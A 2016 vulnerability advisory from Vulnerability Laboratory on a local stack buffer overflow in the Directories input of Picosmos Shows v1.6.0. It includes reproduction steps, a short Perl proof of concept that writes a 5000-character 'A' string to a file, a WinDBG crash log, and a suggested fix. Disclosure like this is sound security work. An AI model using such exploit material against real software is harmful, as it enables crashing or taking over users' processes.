Document Title: =============== Picosmos Shows v1.6.0 - Stack Overflow Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1936 Release Date: ============= 2016-09-05 Vulnerability Laboratory ID (VL-ID): ==================================== 1936 Common Vulnerability Scoring System: ==================================== 6.1 Product & Service Introduction: =============================== Picosmos Shows - View image files on your computer, set them as wallpaper or process them, individually or in groups, using this useful program. Editing images can be quite a tedious activity, especially if there are many files and all you have to do is subtle image optimizations. Although there are some methods to quickly do this without much effort, using editors batch file, as Picosmos Entertainment, is one of the most effective ways. (Copy of the Homepage: http://www.picosmos.net/) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a stack buffer overflow vulnerability in the official Picosmos Shows v1.6.0 software. Vulnerability Disclosure Timeline: ================================== 2016-09-05: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Picosmos Tools Product: Picosmos Shows - Software 1.6.0 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local stack buffer overflow vulnerability has been discovered in the official Picosmos Shows v1.6.0 software. The overflow vulnerability allows remote attackers to take-over the process by overwrite of the active registers. The stack buffer overflow vulnerability is located in the `directory entry` module of the software. Local attackers are able to include unicode as malicious payload to crash software via stack overflow. Thus allows the local attacker to overwrite for example the eip register to take control of the vulnerable software process. The security risk of the issue is estimated as high with a cvss (common vulnerability scoring system) count of 6.1. Exploitation of the vulnerability requires a low privilege or restricted system user account without user interaction. Successful exploitation of the vulnerability results in computer system manipulation and compromise of the computer system. Vulnerable Input(s): [+] Directories - (Entry) Proof of Concept (PoC): ======================= A local stack overflow vulnerability can be exploited by local attackers without user interaction and with privileged system user account. For security demonstration or to reproduce the sofwtare vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Launch the PicosmosShows.exe software process Note: Additional you can attach a debugger like windbg to the software process 2. Run the code in perl and a file format (.txt) will create 3. Copy the AAAAAAAAA+... string from Picosmos.txt to clipboard 4. Paste it to the input Directories AAAAAAAAA+... string and click Enter to process 5. Software crash permanently by a stack overflow 6. Successfully reproduce of the local stack buffer overflow vulnerability! PoC: Exploit Code (Perl) #!/usr/bin/perl my $Buff = "x41" x 5000; open(MYFILE,'>>Picosmos.txt'); print MYFILE $Buff; close(MYFILE); print " POC Created by ZwXn"; --- PoC Debug Session Logs [WinDBG] --- (1634.22ec): Stack buffer overflow - code c0000409 eax=00000001 ebx=0044b208 ecx=00000002 edx=748bb3f8 esi=004a98b0 edi=00436bd0 eip=10467b10 esp=01b9f38c ebp=01b9f6b0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 *** WARNING: Unable to verify checksum for C:Program FilesPicosmosToolsBCGCBPRO2420u120.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesPicosmosToolsBCGCBPRO2420u120.dll - BCGCBPRO2420u120!BCGPGetRegPath+0x2910: 10467b10 cd29 int 29h EXCEPTION_RECORD: ffffffff -- (.exr ffffffffffffffff) ExceptionAddress: 10467b10 (BCGCBPRO2420u120!BCGPGetRegPath+0x00002910) ExceptionCode: c0000409 (Stack buffer overflow) ExceptionFlags: 00000001 NumberParameters: 1 Parameter[0]: 00000002 FAULTING_THREAD: 000022ec BUGCHECK_STR: STACK_OVERRUN PROCESS_NAME: PicosmosShows.exe FAULTING_MODULE: 77a50000 ntdll DEBUG_FLR_IMAGE_TIMESTAMP: 569ba4fa ERROR_CODE: (NTSTATUS) 0xc0000409 - Le syst me a d tect la saturation de la m moire tampon dans cette application. Cette saturation pourrait permettre un utilisateur mal intentionn de prendre le contr le de cette application. DEFAULT_BUCKET_ID: WRONG_SYMBOLS LAST_CONTROL_TRANSFER: from 10350090 to 10467b10 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 01b9f6b0 10350090 00000000 00000000 004ff294 BCGCBPRO2420u120!BCGPGetRegPath+0x2910 01b9f8d0 00410041 00410041 00410041 00410041 BCGCBPRO2420u120!CBCGPShellManager::ItemFromPath+0x90 01b9f8d4 00410041 00410041 00410041 00410041 0x410041 01b9f8d8 00410041 00410041 00410041 00000000 0x410041 01b9f8dc 00410041 00410041 00000000 00410041 0x410041 01b9f8e0 00410041 00000000 00410041 00410041 0x410041 01b9f8e4 00000000 00410041 00410041 00410041 0x410041 0:000> !exchain 01b9f908: 00410041 Invalid exception stack at 00410041 0:000> d ebp 01b9f6b0 d0 f8 b9 01 90 00 35 10-00 00 00 00 00 00 00 00 ......5......... 01b9f6c0 94 f2 4f 00 41 00 41 00-41 00 41 00 41 00 41 00 ..O.A.A.A.A.A.A. 01b9f6d0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01b9f6e0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01b9f6f0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01b9f700 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01b9f710 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01b9f720 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. Solution - Fix & Patch: ======================= Restrict the number of characters in the input of the Directories entry module and allocate the memory. Security Risk: ============== The security risk of the local stack buffer overflow vulnerability in the software is estimated as high. (CVSS 6.1) Credits & Authors: ================== ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com